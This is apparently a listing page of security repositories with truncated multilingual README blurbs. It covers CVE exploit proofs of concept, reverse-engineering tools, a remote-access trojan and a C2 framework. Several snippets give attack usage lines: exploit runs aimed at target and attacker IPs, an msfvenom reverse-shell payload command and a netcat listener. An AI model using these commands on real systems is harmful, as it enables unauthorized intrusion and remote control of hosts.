CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）——针对 Cacti = 1.2.22 的未经身份验证的远程代码执行。你可以在此处阅读有关该漏洞的更多信息。该脚本添加了一个反向 Shell 处理器，并基于 sAsPeCt488 编写的代码。你可以在此处查看原始代码。 用法 python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 参数： -t : 目标 IP 地址 -i : 攻击者系统 IP 地址 -p : 反向 Shell 端口 致谢 Steven Seeley mr...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue es un exploit que utiliza CVE-2022-1388 y CVE-2022-41800 para establecer un shell inverso root en productos F5 BIG-IP. La mayoría de los exploits para CVE-2022-1388 logran la ejecución de código usando /mgmt/tm/util/bash. Sin embargo, este exploit usa...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 解释与漏洞研究，适用于初学者的 CENG325 学期项目 如何利用？ 用于反向 Shell 的用户载荷生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 监听端口： nc -lvnp 5555 漏洞利用代码执行： python3 exploit.py -ip TARGETIP PoC 仓库 https://github.com/chompie1337/SMBGhostRCEPoC...

ratbag-toolbox

ratbag-toolbox 工具箱 各种逆向工程知识与工具 使用说明 参见 wiki页面。 概览 解析器 协议| 版本| 名称 ---|---|--- HID++| 1.0/2.0| hidpp-dissector.lua 转储文件 品牌| 型号| 描述| 驱动| 名称| 备注 ---|---|---|---|---|--- 罗技| G500| 初始化序列| 官方| g500-init.pcapng| 罗技| G502| 初始化序列| 官方| g502-init.pcapng| 罗技| G603| 初始化序列| 官方| g603-init.pcapng| 罗技| Unifying接收器...

engine

Droidefense 引擎 高级 Android 恶意软件分析框架 最新版本 下载 Droidefense 是什么 Droidefense （最初代号为 atom：a nalysis t hrough o bservation m achine，即通过观察机器进行分析）是用于 Android 应用/恶意软件分析/逆向工程的工具代号。它专注于安全问题和恶意软件研究人员日常工作中遇到的技巧。针对恶意软件包含反分析 例程的场景，Droidefense 试图绕过这些例程，直达代码和“不良行为”例程。这些技术有时包括虚拟机检测、模拟器检测、自证书检查、管道检测、跟踪器 PID 检查等。...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity模板注入漏洞检测工具 工具介绍 19年10月底爆出了Solr Velocity模板注入远程命令执行漏洞，人工检测该漏洞需burp抓包改包来回好几次，效率较低，写了这个小工具，支持一键检测漏洞、执行命令、反弹shell，欢迎提issue。该工具仅限安全从业者在法律法规允许的范围内使用，违规使用后果自负。 运行环境 跨平台，JRE=1.8。 （为精简文件大小，单独为每个平台打包SWT库，下载对应平台jar即可） 运行方式 win：java -jar SolrVulScan1.0-win64.jar linux：java -jar...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity 2023.05.4 之前的版本存在身份验证绕过漏洞，可导致远程代码执行（RCE） 用法 获取反向 Shell python3 exploit.py 参考 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

nuubi

Nuubi Tools Scanner, Recon. Details Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract links from target...

MARA_Framework

MARAFramework MARA 是一个 移 动应 用程 序逆 向工程与分 析框架。它是一个整合了常用移动应用逆向工程与分析工具的工具，旨在帮助针对 OWASP 移动安全威胁测试移动应用。其目标是使移动应用开发者和安全专业人员更容易、更友好地完成这项任务。 MARA 由 @xtiankisutsa 和 @iamckn 开发与维护。它正处于开发的非常早期阶段，按照我们的路线图，未来还有更多内容。任何对该工具的贡献和建议都将受到高度赞赏。 支持的功能 APK 逆向工程 通过 baksmali 和 apktool 将 Dalvik 字节码反汇编为 smali 字节码 通过 enjarify...

NTP_Trojan

NTPTrojan Acerca de Troyano inverso de acceso remoto ntp en python, para pentesters. Para obtener más información sobre la hoja de ruta y la inspiración, consulta: http://lockboxx.blogspot.com/2015/04/python-ntp-trojan.html Referencias El servidor se deriva en gran medida de:...

gvision

GVision 是一款反向图片搜索应用，利用 Google Cloud Vision API 从图像中检测地标和网络实体，帮助您快速轻松地获取有价值的信息。 https://user-images.githubusercontent.com/37483725/228700363-cc0d8131-4134-4f37-918e-1a342dd22b83.mp4 🤖 关于 Google Cloud Vision API Google Cloud Vision API 是一种基于机器学习的图像分析服务，为开发者提供理解图像内容的工具。它可以检测图像中的对象、人脸、文字、徽标等。 🚀 开始使用...

POC_CVE-2025-32433

⚠️ Aviso ético Este repositorio contiene código que demuestra un CVE real CVE-2025-32433. Úsalo solo en entornos donde tengas autorización explícita. Nunca pruebes este exploit contra sistemas que no poseas o administres. El uso no autorizado es ilegal, poco ético y perjudicial para la comunidad d...

mas-crackmes

OWASP MAS Crackmes Este repositorio contiene el código fuente de los OWASP MAS Crackmes. Bienvenido a los MAS Crackmes, también conocidos como UnCrackable Apps, una colección de retos de ingeniería inversa móvil. Estos retos se utilizan como ejemplos a lo largo de la OWASP MASTG. Por supuesto,...

siemframework

SIEMS FRAMEWORK MultiSIEM 模块化 Python3 攻击框架 ElevenPaths https://www.elevenpaths.com/ 用法: python3 ./siemsframework.py 简介 SIEM 是网络安全领域日益常用的防御性工具，尤其是大型企业和那些需要监控高度关键系统与网络的公司。然而，从攻击者的角度来看，SIEM 在企业网络中对系统和账户所拥有的权限是极高的。此外，对 SIEM 的管理员访问权限可能被用来在安装该 SIEM 的服务器上执行代码，有时也会影响客户端机器，因为 SIEM 会收集来自 Active Directory...

CVE-2025-3243

CVE-2025-32433 Exploit de la librería SSH de Erlang Un exploit de prueba de concepto para CVE-2025-32433 , una vulnerabilidad crítica en la librería SSH de Erlang que permite la ejecución de código sin autenticación previa mediante paquetes SSHMSGCHANNELREQUEST malformados. Características Exploi...

Awesome-Android-Reverse-Engineering

安卓逆向工程精选资源 精心整理的安卓逆向工程培训、资源和工具列表。 使用方法 Awesome-Android-Reverse-Engineering 是一个面向安卓应用、系统或组件拆解工作者的精选列表。只需按 ctrl + F 搜索关键词，浏览我们的目录菜单，或者寻找标有 '☆' 的优秀且更新的资源。 目录 培训 课程与资料 视频 书籍 工具 静态分析工具 动态分析工具 反编译器 恶意软件分析 资源 文档 案例研究 CTF 与 CrackMe 其他 混淆与反逆向 固件与内核分析 云 API 与 Web 服务逆向 培训 课程与资料 ☆ Maddie Stone 的安卓逆向工程培训 - 由...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

lst2x64dbg

lst2x64dbg 此命令提取给定 LST 文件中的所有标签（该文件作为单一参数提供）。根据提取的标签，在当前目录中创建一个 x64dbg 数据库。 LST 文件可以在 IDA 中通过 文件 菜单生成：生成文件 - 创建 LST 文件... 示例 $ lst2x64dbg sample.lst ghidra2x64dbg 此命令提取给定 CSV 文件中的所有标签（该文件作为单一参数提供）。根据提取的标签，在当前目录中创建一个 x64dbg 数据库。必须提供镜像基址值。 CSV 文件可以在 Ghidra 中通过 窗口 菜单选择 符号表 生成。 在打开的符号表窗口中，按 位置...

CVE-2024-3400

CVE-2024-3400 Exploit para GlobalProtect CVE-2024-3400 Este exploit se dirige a la vulnerabilidad original, por lo que el firewall debe estar ejecutando una versión vulnerable de PAN-OS y debe tener la telemetría habilitada. Ref.:...

c2-cloud

About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...